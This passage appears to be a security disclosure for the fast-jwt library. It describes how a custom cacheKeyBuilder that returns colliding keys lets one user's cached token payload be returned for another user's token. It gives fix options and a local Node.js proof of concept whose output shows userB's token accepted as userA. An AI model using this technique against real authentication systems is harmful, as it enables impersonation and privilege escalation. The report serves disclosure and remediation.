Details
cache.set(key, { tokenHash, payload })
...
const entry = cache.get(key)
if (entry && entry.tokenHash === hashToken(token)) {
return entry.payload
}
Option B — simpler:
Disable cache usage when custom cacheKeyBuilder is provided.
Option C — defensive:
Always re-validate signature when cache hit occurs.
Notes
Default cacheKeyBuilder is safe (hash-based).
Issue appears when custom builders are used — a documented and supported feature.
Impact increases in:
API gateways
auth middleware
RBAC layers relying on payload.sub / payload.aud
This vulnerability is independent from:
RegExp statefulness issue
ReDoS claim validation issue
It is a separate flaw in cache design and trust model.
PoC did on my computer:
'use strict'
const fs = require('node:fs')
const path = require('node:path')
const { createSigner, createVerifier } = require('./src')
function nowSec() {
return Math.floor(Date.now() / 1000)
}
const sign = createSigner({ key: 'secret' })
const t1 = sign({ sub: 'userA', aud: 'admin', iat: nowSec() })
const t2 = sign({ sub: 'userB', aud: 'admin', iat: nowSec() })
function badKeyBuilder() {
return 'aud=admin'
}
const verify = createVerifier({
key: 'secret',
cache: true,
cacheTTL: 60000,
cacheKeyBuilder: badKeyBuilder
})
function run(tok) {
try {
const out = verify(tok)
return { ok: true, sub: out.sub, aud: out.aud }
} catch (e) {
return { ok: false, code: e.code || String(e), message: e.message }
}
}
const results = []
results.push({ step: 'verify(t1)', token: 't1', result: run(t1) })
results.push({ step: 'verify(t2)', token: 't2', result: run(t2) })
results.push({ step: 'verify(t2) again', token: 't2', result: run(t2) })
results.push({ step: 'verify(t1) again', token: 't1', result: run(t1) })
const evidence = {
title: 'fast-jwt cache confusion when cacheKeyBuilder collisions occur',
environment: {
node: process.version,
fastJwt: require('./package.json').version
},
config: {
cache: true,
cacheTTL: 60000,
cacheKeyBuilder: "returns constant key 'aud=admin' (realistic collision pattern)"
},
tokens: {
t1: { claims: { sub: 'userA', aud: 'admin' }, jwt: t1 },
t2: { claims: { sub: 'userB', aud: 'admin' }, jwt: t2 }
},
observed: results
}
const outPath = path.join(process.cwd(), 'evidence-cache-keybuilder-confusion.json')
fs.writeFileSync(outPath, JSON.stringify(evidence, null, 2))
console.log('Wrote evidence to:', outPath)
for (const r of results) {
console.log(r.step, '=>', r.result.ok ? PASS sub=${r.result.sub} : FAIL ${r.result.code})
}
Output:
PS C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt> node poc_cache_keybuilder_confusion_evidence.js
Wrote evidence to: C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt\evidence-cache-keybuilder-confusion.json
verify(t1) => PASS sub=userA
verify(t2) => PASS sub=userA
verify(t2) again => PASS sub=userA
verify(t1) again => PASS sub=userA
PS C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt>